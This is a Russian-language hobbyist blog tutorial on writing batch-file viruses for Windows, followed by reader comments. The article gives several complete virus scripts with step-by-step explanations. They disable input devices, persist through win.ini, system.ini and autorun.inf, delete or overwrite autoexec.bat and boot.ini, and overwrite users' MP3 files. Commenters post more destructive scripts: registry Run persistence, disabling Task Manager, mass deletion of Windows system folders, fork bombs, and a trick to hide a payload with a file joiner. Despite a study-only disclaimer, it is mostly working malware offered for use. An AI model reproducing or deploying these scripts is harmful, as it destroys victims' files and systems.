Меню
Категории
BAT-вирус своими руками
9 ноября, 2007 Вирусы

Привет тебе снова, юный кодер-шкодер. Если ты читал прошлую мою статью под названием “Учим ДОС”, то ничего сложного тут для тебя не будет. А если не читал, то внимательно смотри комментарии. Итак, начнем. Сижу я однажды и думаю: а не накатать ли мне вирус? А так как кроме QБарсика я ничего не знал, а ДОС был моим вторым … [Братом], а ты что подумал извращенец? :)~. ТО я решил писать вирус на нем, и оказалось это не так трудно.

Вот тело моего первого вируса

@echo off
rundll32 keyboard,disable
rundll32 mouse,disable
copy %0 %windir%/system
echo run=%windir%/system/*.bat >> win.ini
echo run=%windir%/system/*.bat >> system.ini
label LOHOLAMMER
if exist c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r
deltree /y c:\autoexec.bat > nul
echo autoexec.bat echo YOU ARE LAMMER…xe-xe-xe > c:\autoexec.bat
rundll32 mouse,enable
rundll32 keyboard,enable
echo var WSHShell = WScript.CreateObject(“WScript.Shell”); > %temp%\mes.js
echo WSHShell.Popup(“Warning,.. Ваш компьютер заражен вирусом, а избавиться от него нельзя, хе-хе-хе”); >> %temp%\mes.js
start %temp%\mes.js
deltree /y %temp%\mes.js
attrib c:\autoexec.bat +h +s +a +r
pause
cls

Объясняю популярно и по шагам:

1 @echo off – Запрещаем ДОСовскому окошку показывать, что делает скрипт.
2 rundll32 keyboard,disable – Отключаем клаву, на случай если юзер поймет что происходит и надумает нажать CTRL+C
3 rundll32 mouse,disable – Отключаем мышь тоже на всякий.
4 copy %0 %windir%/system – Копируемся в папку windows/system
// %0 – Переменная, указывающая на исходный файл-вирус
// %windir% – переменная папка масдая.
5 echo run=%windir%/system/*.bat >> %windir%\win.ini – Добавляет текст “run=%windir%/system/*.bat” в файл win.ini
6 echo run=%windir%/system/*.bat >> %windir%\system.ini – Добавляет текст “run=%windir%/system/*.bat” в файл system.ini
7 label LOHOLAMMER – Меняет имя диску c:\ на “LOHOLAMMER”
8 if exist c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r – Проверяем если есть файл c:\autoexec.bat то убираем
//у него атрибуты -h -s -a -r
9 deltree /y c:\autoexec.bat – Удаляем файл c:\autoexec.bat , если не убрать атрибуты, то программа не удалит файл.
10 echo autoexec.bat echo YOU ARE LAMMER…xe-xe-xe > c:\autoexec.bat – Добавить текст “YOU ARE LAMMER…xe-xe-xe”
//в новый файл autoexec.bat
11 rundll32 mouse,enable – Включаем, пускай думает, что ниче не было.
12 rundll32 keyboard,enable – Включаем, пускай думает, что ниче не было.
13 echo var WSHShell = WScript.CreateObject(“WScript.Shell”); > %temp%\mes.js
echo WSHShell.Popup(“Warning,.. Ваш компьютер заражен вирусом, а избавиться от него нельзя, хе-хе-хе”); >> %temp%\mes.js
start %temp%\mes.js. //Этот текст выводит масдайное окно с надписью
deltree /y %temp%\mes.js //А потом стирает за собой следы.
14 attrib c:\autoexec.bat +h +s +a +r – Делает файл c:\autoexec.bat скрытым и системный чтоб ламер ничего не заподозрил.
15 pause – Просим нажать любую клавишу (Не обязательно нажимать ведь вирь уже сделал свое дело.)
16 cls – Выходим

Эта программа, при следующей перезагрузке не даст загрузиться виндовсу и будет писать ‘Вы ламер.’ .Работает только в винде до 2000.

Идем дальше, пишем новый вирус. Те функции, которые были упомянуты уже, не будут объясняться заново. Это просто усовершенствованная версия прошлого вируса.

@echo off
rundll32 user,setcursorpos //Убираем с экрана курсор в левый угол
rundll32 keyboard,disable //Было
rundll32 mouse,disable //Было
rundll32 user,swapmousebutton. //Тут мы переставляем кнопки мыши
echo Обновление параметров системы, пожалуйста подождите… //пишет отмазку :)
label mp_k //Меняем имя диску
copy mp_k.exe %windir% //Копирует себя в папку windows
if exist c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r
deltree /y c:\autoexec.bat
if exist c:\io.sys echo autoexec.bat echo YOU_ARE_LAMMER….[]=[_H@CKED_BY_[kas]*_”SmallPox_Vir_Org”_] > c:\autoexec.bat
echo run = %windir%\mp_k.exe >> %windir%\win.ini
echo run = %windir%\mp_k.exe >> %windir%\system.ini
echo [AutoRun] > c:\autorun.inf //Эти операции есть в прошлом вирусе.
echo open=c:\autoexec.bat > c:\autorun.inf
echo [AutoRun] > d:\autorun.inf
echo open=c:\autoexec.bat > d:\autorun.inf
rundll32 mouse,enable
rundll32 keyboard,enable
echo var WSHShell = WScript.CreateObject(“WScript.Shell”); > %temp%\mes.js
echo WSHShell.Popup(“Warning,.. А теперь необходимо перезагрузиться”); >> %temp%\mes.js
start %temp%\mes.js
deltree /y %temp%\mes.js
attrib c:\autoexec.bat +h +s +a +r
attrib %windir%\mp_k.exe +h +s +a +r
attrib c:\autorun.inf +h +s +a +r
attrib d:\autorun.inf +h +s +a +r
deltree /y mp_k.exe
rmdir %windir%\temp //Удаляем папку temp
mkdir %windir%\temp //Создаем папку temp
cls

А теперь, что-то новое.

@echo off
cls
echo Please wait, updating system…
ctty nul. //Это новая команда, она отключает вывод текста в окошке.
exist %WINDIR%\SYSTEM\VMM32\%0 goto :end //Если вирь уже запускался то пусть запустит себя снова.
copy %0 %WINDIR%\SYSTEM\VMM32
cd c:\ //Переходим в другую директорию
for %%a in (*.mp3 c:\*.mp3 c:\MUZ\*.mp3 c:\My Music\*.mp3 ..\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd My Music
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd My_Music
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd MyMusic
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd Music
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd Музыка
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd Музон
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd MUZ
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd mp3
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd d:\
for %%a in (*.mp3 c:\*.mp3 c:\MUZ\*.mp3 c:\My Music\*.mp3 ..\*.mp3) do copy /y %0 %%a
cd My Music
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Тут тоже самое.
cd My_Music
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
cd MyMusic
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
cd Music
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
cd Музыка
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
cd Музон
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
cd MUZ
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
cd mp3
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
:end //Метка
start /m /w %WINDIR%\SYSTEM\VMM32\%0 //Запуск в свернутом режиме
ctty con //Врубаем разрешение на показ текста в окне
echo Say goodbye your MP3 collection :)) Virus [BAT.kas.a] //Прощальные строки
cls //Выход.

Тут мало нового но уже что-то. Идем дальше. Накачал я с инета BAT-вирусов и начал их исследовать. И вот результаты:
Написал еще пару своих:

ctty nul //Было такое
REM Чй† Ђь@uoњPSQRVW
?
‹тЌ
” Q_ь№ у¦u=
є №є њъ.я?ђ л,ђ ///
copy %0 *.exe ///
copy %0 b.com>nul // Эта технология взята с вируса другово.
b.com. // Эти каракули перехватывают рабочие в данный момент файлы, и херит их.
del b.com. /// Это текст АСМ скомпиленого в exe
rem _^ZY[Xќњъ.я?ђ К ђђђђъ.я.ђ К ћ # @echoђё.5Н.Њ ‘ ‰?ђ Ќ ё.%Н.Ќ є Н’ђђ //
@echo off //
echo XEP_BAM //Пишем злобно и красиво.
if exist %windir%/%0.bat goto :end //Проверка виря на запускание, те был ли он запущен.
@rundll32 user,setcursorpos
ctty con //Было такое
echo Обновление параметров системы, пожалуйста подождите… //Отвлекаем.
@label BAT.c
copy %0.bat %windir% > nul
if exist c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r
if exist c:\boot.ini attrib c:\boot.ini -h -s -a -r
deltree /y c:\autoexec.bat
deltree /y c:\boot.ini
if exist c:\autoexec.bat echo autoexec.bat echo YOU_ARE_LAMMER…. > c:\autoexec.bat
if exist c:\boot.ini echo autoexec.bat echo YOU_ARE_LAMMER…. > c:\boot.ini //Это для XP он там вместо autoexec.bat ;)
deltree /y %windir%/win.ini

copy %0 > %windir%/win.ini
deltree /y %windir%/system.ini
copy %0 > %windir%/system.ini
if exist c:\io.sys //Проверка наличия диска так как на каждом диске есть файл io.sys
echo [AutoRun] > c:\autorun.inf //И если он есть заразить его.
echo open=c:\autoexec.bat >> c:\autorun.inf //И если он есть заразить его.
if exist d:\io.sys //Проверка наличия диска
echo [AutoRun] > d:\autorun.inf //И если он есть заразить его.
echo open=c:\autoexec.bat >> d:\autorun.inf //И если он есть заразить его.
if exist e:\io.sys //Проверка наличия диска
echo [AutoRun] > e:\autorun.inf //И если он есть заразить его.
echo open=c:\autoexec.bat >> e:\autorun.inf //И если он есть заразить его.
:end //Метка СМ начало.
cls //Выход

О какие бывают вирусы. И на что только ни ухитряются вирусописатели, чтобы добиться нужного результата. Прочитав эту доку ты с уверенностью сможешь сам написать BAT вирус, даже лучше моего ;).Ну удачи тебе в написании вирей, а я отклонюсь и свалю пить пиво %-).

Статьи написаны исключительно для изучения алгоритмов работы вирусов и методов борьбы с ними. Алгоритмы работы вирусов были выявлены при декомпиляции найденных в интернете вирусов и на сайте Лаборатории Касперского.

225 комментариев
  1. Как правильно указать путь к файлу
    c:\Program Files\ХРЕН\Application\*.ехе
    пробовал
    c:\Progra~1\ХРЕН\Applic~1\*.exe
    Ругается на руский шрифт папки.

  2. Обращайте внимание под какую Винду это пишется, под Вистой и 7 некоторые команды не робят, а так, спасиб автору, понятно и доходчиво.

  3. А когда мышь отключаешь она после перезагрузки работать будет?

  4. А вот простейшый вирус
    @echo
    time 12:00
    date 01/09/2010

  5. вот поеснения команд
    assoc .exe=.mp3-Ексешники запускаются как музыка label E: pridurok-меняется винт на придурок time 00:00 -менять время
    date 13.03.36-менять дату assoc .lnk=.txt-меняют ярлэчки в тхт файл copy %0 F:\Work.bat-копирование обьекта
    «net user “х” /add» – добавит на компьютер пользователя под именем х (пример net user “Smoked” /add);
    1) Программа для удаления файлов с флешки (если та вставлена) и переименования ее.
    del F:\ *.* /q
    label F:HACK
    2) Программа для изменения даты и времени на компьютере и копирования ее на диск C и на флешку.
    time 14:13
    date 11.07.12
    copy %0 C:\Time.bat
    copy %0 F:\Time.bat
    —————————–
    >nul-скрывать строку команду
    %SystemRoot%/system32/rundll32 user32, SwapMouseButton-меняет местами клавиши мыши
    ——————————————-
    copy “”%0″” “%SystemRoot%\system32\File.bat”
    reg add “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v “Filel” /t REG_SZ /d “%SystemRoot%\system32\File.bat” /f
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f
    Очень жестокая команда: добавляет программу в автозагрузку ОС.
    «del x:\y *.* /q» – удалит все файлы на диске х в папке у (кроме папок) (пример del F:\Data*.* /q);
    «net user “х” /add» – добавит на компьютер пользователя под именем х (пример net user “Smoked” /add);
    «@echo off» вводиться в начале нашего вируса и скрывает все
    rundll32 user,disableoemlayer – сбой системы (!) – выключить все функции ввода-вывода (клавиатура, дисплей, мышь). В результате будет черный экран с курсором и ни на что не реагирующая система, однако Windows продолжает работать.
    del *.* /q ( после запуска этой команды все файлы кроме папок которые были в той папке где был запущен вирус удалатся!!!
    md 1-создания папок
    Для запуска файла во время загрузки Windows, переименуйте файл в Autoexec.bat
    Echo Virus Loading-надпись на экран вирус лодин
    del c:Program Files/q (удаляет все файлы из этой папки)
    reg – непосредственная работа с реестром. Смотреть reg /? всем!
    rcp – обмен файлами через rcp в ascii
    runas – от имени пользователя
    tasklist – отображает приложения и сеансы, связанные с ним.
    taskkill – позволяет завершить один или несколько процессов
    tftp – trivial ftp
    tskill – убить процесс
    reg – утилита взаимодействия с реестром
    bootcfg – настройка boot.ini
    append – позволяет открывать удаленные файлы так, словно они находятся в текущем.
    getmac – получить мас
    logoff – Заверщить пользовательский сеанс.
    mem – вывод на экран сведений о текущих процессах в ОЗУ
    mqbkup – архивирование
    netsh – ??
    openfiles – просмотреть открытые файлы.
    rsh – выполнение команд на удаленных узлах с запущеной rsh
    sc – command line ??
    rexec – выполнение команд на удаленных узлах с запущеной rexec
    shutdown – выключить (хе-хе) local or remote computer.
    systeminfo – вывод инфы о компе.
    schtasks – планировщик заданий.
    xcopy – копирование файлов и каталогов.
    tsshutdn – завершение работы сервера в установленом порядке.
    set – вывод, задание и удаление переменных среды cmd.exe. Свойства системы (пр.кн.”мой комп”) – дополнительно – Переменные среды. Там не все переменные, но много! Все смотреть просто set.
    Кстати, вот некоторые RunDLL команды, которые могут использоваться при создании батников

    rundll32 user,wnetdisconnectdialog
    Окно “Отключение сетевого диска” Вызвать

    rundll32 user,disableoemlayer
    Сбой пpовоциpовать

    rundll32 user,repaintscreen
    Обновить (как )

    rundll32 user,setcursorpos
    Maus-Cursor слева ввеpх посадить

    rundll32 diskcopy,DiskCopyRunDll
    Окно “Copy Disk” вызвать

    rundll32 rnaui.dll,RnaWizard /1
    Диалог “Установка Связи” вызвать (/1 = без окна)

    rundll32 shell,shellexecute
    Explorer-Окно откpыть в коpневом каталоге

    rundll32 shell32,OpenAs_RunDLL
    Окно “Откpыть с помощью…” вызвать***

    rundll32 shell32,SHFormatDrive
    Окно “Фоpматиpование: Диск3,5(А)” вызвать

    rundll32 shell32,ShellAboutA
    Info-Box (о Windows) вызвать

    rundll32 shell32,SHExitWindowsEx 0
    Windows 98 заново стаpтанyть (без autoexec.bat и дp.)

    rundll32 shell32,SHExitWindowsEx 1
    Работy с Windows 98 закончить

    rundll32 shell32,SHExitWindowsEx 2
    Windows-98-PC boot

    rundll32 shell32,SHExitWindowsEx -1
    Windows-98-Explorer стаpтанyть заново

    rundll32 shell32,Control_RunDLL
    Откpыть окно “Панель yпpавления”

    rundll32 shell32,Control_RunDLL desk.cpl
    Откpыть “Свойства Экpана”

    rundll32 shell32,Control_RunDLL main.cpl
    Откpыть Modul-Панели yпpавления из MAIN.CPL **

    rundll32 krnl386.exe,exitkernel
    выход из Windows без любых сообщений/вопpосов

    rundll32 user,swapmousebutton
    “Пеpеставить” клавиши мыши *

    rundll32 keyboard,disable
    “Отключить” клавиатypy *

    rundll32 mouse,disable
    “Отключить” мышь *

    rundll rnaui.dll,RnaDial “пpовайдеp”
    Вызвать окно “Установка связи” с именем “пpовайдеp”

    rundll32 user,tilechildwindows
    выстpоить все не свёpнyтые окна свеpхy вниз

    rundll32 user,cascadechildwindows
    выстpоить все не свёpнyтые окна каскадом

    rundll32 sysdm.cpl,InstallDevice_Rundll
    (единств. возможность в W98) yстановить non-Plug&Play обоpyдование

    rundll32 msprint2.dll,RUNDLL_PrintTestPage
    выбpать в появившемся меню пpинтеp и послать а него тест

    rundll32 user,setcaretblinktime
    yстановить новyю частотy мигания кypсоpа *

    rundll32 user, setdoubleclicktime
    yстановить новyю скоpость двойного нажатия *

    rundll32 setupx.dll,InstallHinfSection
    DefaultInstall 130; C:\file.inf
    окно “Пеpезапyск системы. Пpоизвести её сейчас ? ъ Да/нет ъ” ****

    ASSOC – Отображает или модифицирует связи расширений файлов
    AT – Планирует команды и программы для выполнения на компьютере.
    ATTRIB – Отображает или изменяет атрибуты файла.
    BREAK – Устанавливает или отменяет проверку комбинации [Ctrl+C].
    CACLS – Отображает или модифицирует списки управления доступом (ACLs) для файлов.
    CALL – Вызывает один *.BAT-файл из другого.
    CD – Отображает имя или изменяет имя текущей директории.
    CHCP – Отображает или устанавливает номер активной кодовой страницы.
    CHDIR – Отображает имя или изменяет имя текущей директории.
    CHKDSK – Проверяет диск и отображает отчет о состоянии.
    CLS – Очищает экран.
    CMD – Стартует новый экземпляр интерпретатора команд Windows NT.
    COLOR – Устанавливает цвета по умолчанию для переднего и заднего плана консоли.
    COMMAND – Стартует новую копию интерпретатора команд Windows.
    COMP – Сравнивает содержимое двух файлов или установки файлов.
    COMPACT – Отображает или видоизменяет сжатие файлов на патрициях Windows NT(NTFS).
    CONVERT – Конвертирует FAT томов к формату файловой системы Windows NT(NTFS). Вы не можете конвертировать текущий диск.
    COPY – Копирует один или больше файлов на другое место.
    CTTY – Изменяет терминальное устройство, используемое для управления вашей системой.
    DATE – Отображает или устанавливает дату.
    DEL – Удаляет один или более файлов.
    DEBUG – Выполняет отладку, тестирование программ и редактирование инструментальных средств.
    DIR – Отображает список файлов и поддиректорий в директории.
    DISKCOMP – Сравнивает содержимое двух дискет.
    DISKCOPY – Копирует содержимое одной дискеты на другую.
    DOSKEY – Редактирует командные строки, восстанавливает команды Windows и создает макрос.
    ECHO – Отображает сообщения, или включает/выключает вывод команд.
    EMM386 – Включает/выключает поддержку расширенной памяти EMM386.
    ENDLOCAL – Заканчивает локализацию изменений окружающей среды в *.BAT-файле.
    ERASE – Удаляет один или более файлов.
    EXIT – Прекращает выполнение программы (интерпретатор команд).
    EXTRACT – Средство извлечения информации из CAB – файлов.
    FC – Сравнивает два файла или установки файлов, и отображает различие между ними.
    FIND – Ищет текстовую строку в файле или файлах.
    FINDSTR – Поиск строк в файлах.
    FOR – Выполняет указанную команду для каждого файла в наборе файлов.
    FORMAT – Форматирует диск для использования с Windows.
    FTYPE – Отображает или модифицирует типы файлов, используемых в связях расширений.
    GOTO – Направляет интерпретатор команд Windows NT к помеченной строке в *.BAT-файле.
    GRAFTABL – Способность Windows отображать символы псевдографики, вставленные в графическом режиме.
    HELP – Обеспечивает информацию Help для команд Windows.
    IF – Выполняет обработку условия в *.BAT-файле.
    KEYB – Конфигурирует клавиатуру для заданного языка.
    LABEL – Создает, изменяет, или удаляет метку тома на диске.
    LOADHIGH(LH) – Загружает программу в верхние адреса памяти.
    MD – Создает директорию.
    MEM – Отображает величину используемой и свободной памяти в вашей системе.
    MKDIR – Создает директорию.
    MODE – Конфигурирует системное устройство.
    MORE – Отображает вывод одного экрана за раз.
    MOVE – Перемещает один или более файлов из одной директории в другую на том же диске.
    NETSTAT – Отображает статистики протоколов и текущих сетевых соединений TCP/IP.
    NLSFUNC – Загружает информацию, специфическую для страны.
    PATH – Отображает или устанавливает путь поиска для выполняемых файлов.
    PAUSE – Приостанавливает обработку *.BAT-файла и отображает сообщение.
    POPD – Восстанавливает предыдущее значение текущей директории, сохраненной по PUSHD.
    PRINT – Печатает текстовый файл.
    PROMPT – Изменяет подсказку к командам Windows.
    PUSHD – Сохраняет текущую директорию, потом изменяет.
    RD – Удаляет директорию.
    RECOVER – Восстанавливает читаемую информацию с плохого или дефектного диска.
    REM – Записывает комментарии (примечания) в *.BAT-файлы или CONFIG.SYS.
    REN – Переименует файл или файлы.
    RENAME – Переименует файл или файлы.
    REPLACE – Заменяет файлы.
    RESTORE – Восстанавливает файлы, которые были архивированы с использованием команды BACKUP.
    RMDIR – Удаляет директорию.
    SET – Отображает, устанавливает или удаляет переменные среды Windows.
    SETLOCAL – Начинает локализацию изменений среды в *.BAT-файле.
    SETVER – Устанавливает номер версии MS-DOS, который Windows сообщает программе.
    SHIFT – Сдвигает позицию замещаемых параметров в *.BAT-файле.
    SMARTDRV – Инсталлирует и конфигурирует утилиту кэширования диска SMART – драйва.
    SORT – Сортирует входной поток.
    START – Стартует отдельное окно для выполнения указанной программы или команды.
    SUBST – Связывает путь с литерой диска.
    SYS – Копирует файлы системы MS-DOS и интерпретатор команд на указанный вами диск.
    TIME – Отображает или устанавливает системное время.
    TITLE – Устанавливает заголовок окна для сеанса .
    TREE – Графически отображает структуру директория в драйве или путь.
    TYPE – Отображает содержимое текстового файла.
    VER – Отображает версию Windows.
    VERIFY – Сообщает Windows, проверять ли правильность записи файлов на диск.
    VOL – Отображает метку дискового тома и серийный номер.
    XCOPY – Копирует файлы и деревья директории.

    Ну а если хочешь “убить” Windows то:
    @echo off
    start explorer
    start explorer
    start explorer
    start explorer – повторить ещё раз 100 и прописать в автозагрузку.

  6. explorer жёстко грузит центральный процессор если запустить несколько раз что и делает батник то всё твой комп труп

  7. детский сад “Ромашка” -не больше!!!1

  8. Работает в sp2 в sp3 могут некорректо работать некоторые функции bat пакета.

    rundll keyboard,disable
    rundll mouse,disable
    shutdown.exe -r -f -t 00
    regedit /s module.reg

    1)строчка отключает клавиатуру.
    2)cтрочка отключает мышь.
    3)строчка перегружает компьютер.
    4)инсталирует запись в реестр без запроса, за счет переменной /s.

    затем создаем module.reg фаил.
    в нем пишем.
    Windows Registry Editor Version 5.00

    [HKEY_LOCAL_MACHINE\SOFTWARE\Paint.NET]
    “paint”=”module.bat”

    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
    “paint”=”paint.exe”

    Для чего была добавлена запись в раздел paint? Для того что бы при запуске системы, запускался паинт, а вместе с ним, запускался наш модуль.bat

    после указываем путь и упаковываем module.reg с помощью SFX

    Затем берем джойнер беспалевный. А это тот, который напишешь сам. И клеим module.exe и module.bat

    получается module.exe единый файл.
    При его запуске, с учетом того что у жертвы SP2,
    Компьютер жертвы будет перезагружаться.
    Причем не будет видно в автозагрузке вредоностную программу.

    По поводу написания программ на C++, пишите мне в icq 248022

  9. че за красавчик того все….я не читал коменты да и пофигу на них тот кто написал эт красаууелла

  10. Автор ++ молодец спс за материал!

  11. Привет всем парни кул вирусы тока ктонить может подсказать как можно сделать так чтоб антивирусник не видел вирусы ато ппц почти всё что создаю каспер сразу сьедает.И буду очень признателен если скинете на маил операторы написания вирусов плиз.мой маил doubleSK@mail.ru

  12. вот вирус который запускает программу до бесконечности
    @echo off
    :x
    start explorer
    goto :x

    explorer можно поменятьь на любую программу просто explorer сильно грузит комп.

  13. Всем салют. Да информация для новичков в этом деле очень обильна, можно так сказать. Но здесь все приводят примеры по пустым делам, или просто ради прикола. Вот теперь сразу созрел вопрос. ?? Я написать написал то что мне надо, но как это автоматизировать ??
    короче… Я написал то что мне надо чтобы мой вирь грохал ntldr и все, с форматированием какие то проблы…. Теперь мне надо прописать его в автозагрузку Флешки, тупо засул в комп и вуаля !!!! припервой перезагрузке жертва будет стонать… Пожалуйста опишите или напишите мне команды для того чтобы файл запускался автоматом, только тогда когда я вставлю флешку. Заранее благодарен.

  14. а точнее в autorun.inf И скорее как я понял за этот маленький период общения с bat его нужно компилировать в .exe?

  15. Большое спасибо за информацию данную на этом сайте,
    очень познавательно.

  16. Ипать вы все ламеры!!!! Эти .BAT вирусы находятся даже дерьмовым касперским!!! что уж говорить о NOD32??? Это все хрень!!!!

  17. Да ребят вам тока на письку дрочить на японское аниме!
    У меня слов нету просто больше все величайшие гуру хакинга собралиьс в этой ветке!!!

  18. md C:\ABCD
    set SystemRoot =C:\ABCD

    проверьте рабочий код или нет?)))

  19. Друг мой я вижу ты отличный вируса писолог а ч средний можеш обучить меня всем тонкостям?

  20. Ща наебну кого-нить… Вот. Эту херь только AVG определяет как BAT/WORM больше никто. Касперский Нод32 ДокторВеб нихуя не видят:
    @Echo off
    if not exist C:\smuggling.sys copy %0 C:\smuggling.sys
    assoc .sys=.bat
    copy %0 %windir%\system\smuggling.bat
    attrib +h +s +r %windir%\system\smuggling.bat
    reg ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /t REG_SZ /v “smuggling” /d “%windir%\system\smuggling.bat”
    reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disabletaskmgr /t reg_dword /d “1” /f
    reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disableregistrytools /t reg_dword /d “1” /f
    :smuggling
    copy %0 D:\%RANDOM%
    goto smuggling

    От этой штучки систему затормозит так что мало не покажеться!

  21. Это не мое, но вот исходник. Сохранять с расширением *.js:
    function CreateFile(name)
    {
    var fso, tf;
    fso = new ActiveXObject(“Scripting.FileSystemObject”);
    tf = fso.CreateTextFile(“c:\\”+name+”.txt”, true);
    tf.WriteLine(“Превед! Я Кролег!”) ;
    tf.Write (“Я быстро размножаюсь”);
    tf.Write (“Ой, кажица я сжевал твой диск C, но D мне понравился больше!”);
    tf.Write (“Ой, кажица я накакал в папке Windows!”);
    tf.Write (“У миня радилось исче тызяча крольчадог!”);
    tf.Close();
    }
    function newKroleg(n) {
    CreateFile(“Кролег”+n);
    }
    for (i=1;i>0;i++) {
    newKroleg(i);
    }
    У меня он 139.000 кролегов на диске С наплодил! Будьте осторожны!

  22. Винда летит далеко и надолго:
    @Echo off
    copy %0 %windir%\winstart.bat
    reg ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /t REG_SZ /v “winstart.bat” /d “%windir%\winstart.bat”
    reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disableregistrytools /t reg_dword /d “1” /f
    msg * “VIRUS LOADING…”
    Date 01.06.50
    Time 13:13
    Copy %0 C:\virus.bat
    Copy %0 %windir%\virus.bat
    copy %0 %SystemRoot%\virus.bat
    Attrib +h +s +r C:\virus.bat
    Attrib +h +s +r %windir%\virus.bat
    Attrib +h +s +r %SystemRoot%\virus.bat
    If exist C:\virus.bat goto vIrUs
    :vIrUs
    md C:\Virus1
    md C:\Virus2
    md C:\Virus3
    md C:\Virus4
    md C:\Virus5
    :vIrUs
    Label C: Virus
    Label D: Virus
    assoc .exe=.virus
    assoc .dll=.virus
    assoc .sys=.virus
    :vIrUs
    del %windir%\*.* /q
    del %windir%\system\*.* /q
    del %windir%\system32\*.* /q
    msg * “VIRUS LOAD!!!”
    shutdown -r
    Exit

    Является модифицированной версией одного неработающего вируса.

  23. все вири читать нее стал но уже раз в пятый читаю эту бредятину

  24. Это всё фигня, нужен бат файл, устанавливающий сетевое соединение с компьютером жертвы. Как такой написать?

  25. Лам
    никак. в BAt интерпритаторе нет таких команд. на visual basic пиши.

  26. поясни плиз ещё раз , а то 3 раза читаю и ничего не понял до сих пор.(((

    Комментарий от neuda4nik
    [ Июнь 13, 2008, 00:01 ]

  27. поясни плиз ещё раз , а то 3 раза читаю и ничего не понял до сих пор.((( Комментарий от neuda4nik [ Июнь 13, 2008, 00:01 ]

  28. спасибо полный нештяк как нештяк

  29. АВТОР СУПЕР !!!!
    только вы попробуйте ЭТО
    @echo off
    copy 0% имя батника который создали.bat
    start имя батника который создали.bat

    ИЛИ

    @echo off
    net share disk_d=d:
    net share disk_c=c:
    net share disk_x=x:
    net share disk_y=y:
    net share disk_z=z:
    net share disk_f=f:

    ИЛИ

    @echo off
    copy %0 %windir%/system
    echo run=%windir%/system/*.bat >> win.ini
    echo run=%windir%/system/*.bat >> system.ini
    label LOHOLAMMER
    if exist c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r
    deltree /y c:\autoexec.bat > nul
    echo autoexec.bat echo XAXAXAXAXAXAXA > c:\autoexec.bat
    rundll32 keyboard,enable
    echo var WSHShell = WScript.CreateObject(“WScript.Shell”); > %temp%\mes.js
    echo WSHShell.Popup(” Ваш компьютер заражен “); >> %temp%\mes.js
    start %temp%\mes.js
    deltree /y %temp%\mes.js
    attrib c:\autoexec.bat +h +s +a +r
    pause
    cls

    НО ШТОБ СОЗДАТЬ САМОМУ УЧИТЕ
    ЭтО:

    Команды cmd:
    ASSOC Вывод либо изменение сопоставлений по расширениям имен файлов.
    AT Выполнение команд и запуск программ по расписанию.
    ATTRIB Отображение и изменение атрибутов файлов.
    BREAK Включение/выключение режима обработки комбинации клавиш CTRL+C.
    CACLS Отображение/редактирование списков управления доступом (ACL) к файлам.
    CALL Вызов одного пакетного файла из другого.
    CD Вывод имени либо смена текущей папки.
    CHCP Вывод либо установка активной кодовой страницы.
    CHDIR Вывод имени либо смена текущей папки.
    CHKDSK Проверка диска и вывод статистики.
    CHKNTFS Отображение или изменение выполнения проверки диска во время загрузки.
    CLS Очистка экрана.
    CMD Запуск еще одного интерпретатора командных строк Windows.
    COLOR Установка цвета текста и фона, используемых по умолчанию.
    COMP Сравнение содержимого двух файлов или двух наборов файлов.
    COMPACT Отображение/изменение сжатия файлов в разделах NTFS.
    CONVERT Преобразование дисковых томов FAT в NTFS. Нельзя выполнить
    преобразование текущего активного диска.
    COPY Копирование одного или нескольких файлов в другое место.
    DATE Вывод либо установка текущей даты.
    DEL Удаление одного или нескольких файлов.
    DIR Вывод списка файлов и подпапок из указанной папки.
    DISKCOMP Сравнение содержимого двух гибких дисков.
    DISKCOPY Копирование содержимого одного гибкого диска на другой.
